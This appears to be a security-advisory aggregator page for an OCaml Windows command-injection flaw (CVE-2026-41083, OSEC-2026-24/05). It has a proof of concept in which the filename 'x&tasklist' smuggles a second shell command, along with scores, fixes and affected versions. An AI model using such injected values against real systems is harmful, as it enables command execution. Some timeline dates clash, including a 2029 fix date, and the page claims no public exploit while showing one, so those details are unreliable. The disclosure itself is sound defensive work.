CVE-2026-41083
Windows command execution via filename quotes.
The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.
Exploit
$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.
# let outfile = "x&tasklist" in
let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
ignore (Sys.command cmd)
;;
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 8 K
System 4 Services 0 168 K
Secure System 236 Services 0 191,468 K
Registry 276 Services 0 3,428 K
smss.exe 608 Services 0 1,676 K
csrss.exe 984 Services 0 5,928 K
Timeline
- 2026-06-18 release of this security advisory
- 2026-06-15 release of OCaml 4.14.4
- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to [email protected]
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
What each source reports
OSV Score usedOSEC-2026-24
7.3
Multiple issues in command quoting on Windows
ANT-2026-R7FKP7RG Win32 quote_cmd_filename misses pipe/redirect metacharacters
ANT-2026-SRZZ62SD Windows batch-file argument injection via maybe_quote/make_cmdline
ANT-2026-JPEWMPAB Win32 argument quoting leaves embedded CR/LF unescaped
Also includes the fix for OSEC-2026-05
Filename.quote_command returns a quoted command line, suitable for use as an argument to Sys.command, Unix.system, and the Unix.open_process functions.
However on Windows certain characters weren't properly escaped.
Unix.create_process can invoke .bat or .cmd programs on Windows, and certain characters were accepted that cannot be quoted safely.
Fix
Filename.quote_command has been updated to correctly quote arguments.
Unix.create_process* has been updated to reject arguments that cannot be safely quoted by raising Failure:
if the program [prog] is a [.bat] or [.cmd] script and either [prog] or [args] contain characters that cannot be securely passed to a script, such as [" | & , ; < = > ^ % "]. If you really need to pass these characters to a script, consider using {!Unix.system} instead.
Am I affected?
If you use Filename.quote_command on Windows with user supplied arguments.
If you use Unix.create_process* or Unix.open_process* on Windows with .bat or .cmd programs, and user supplied arguments.
Timeline
- 2026-08-24: vulnerability was found
- 2026-08-27: forwarded report to [email protected]
- 2029-09-05: fix merged to trunk
- Record
OSEC-2026-24- CVSS 4.0
- 7.3 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-06
OSVOSEC-2026-05
6.1
Windows command execution via filename quotes.
The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.
Exploit
$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.
# let outfile = "x&tasklist" in
let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
ignore (Sys.command cmd)
;;
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 8 K
System 4 Services 0 168 K
Secure System 236 Services 0 191,468 K
Registry 276 Services 0 3,428 K
smss.exe 608 Services 0 1,676 K
csrss.exe 984 Services 0 5,928 K
Timeline
- 2026-06-18 release of this security advisory
- 2026-06-15 release of OCaml 4.14.4
- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to [email protected]
- Record
OSEC-2026-05- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-06
Affected packages
| Package | Affected | Fixed |
|---|---|---|
ocamlopam |
before 4.14.4, 5 up to 5.5.0, plus listed versions 3.073.07+13.07+23.08.03.08.1 Show 45 moreShow less3.08.23.08.33.08.43.09.03.09.13.09.23.09.33.10.03.10.13.10.23.11.03.11.13.11.23.12.03.12.14.00.04.00.14.01.04.02.04.02.14.02.24.02.34.02.44.03.04.03.14.04.04.04.14.04.24.04.34.05.04.05.14.06.04.06.14.06.24.07.04.07.14.07.24.08.04.08.14.08.24.09.04.09.14.09.24.10.04.10.1 |
4.14.45.5.0 |
ocamlopam |
before 4.14.5, 5 up to 5.5.2, plus listed versions 3.073.07+13.07+23.08.03.08.1 Show 45 moreShow less3.08.23.08.33.08.43.09.03.09.13.09.23.09.33.10.03.10.13.10.23.11.03.11.13.11.23.12.03.12.14.00.04.00.14.01.04.02.04.02.14.02.24.02.34.02.44.03.04.03.14.04.04.04.14.04.24.04.34.05.04.05.14.06.04.06.14.06.24.07.04.07.14.07.24.08.04.08.14.08.24.09.04.09.14.09.24.10.04.10.1 |
4.14.55.5.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected, facts | OSV | |
| first indexed | OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41083 is a high vulnerability (CVSS 7.3) in ocaml, published June 18, 2026. No source lists public exploit code. Fixed in ocaml 4.14.4.
References
Left out here: 61 versions. The JSON record has them.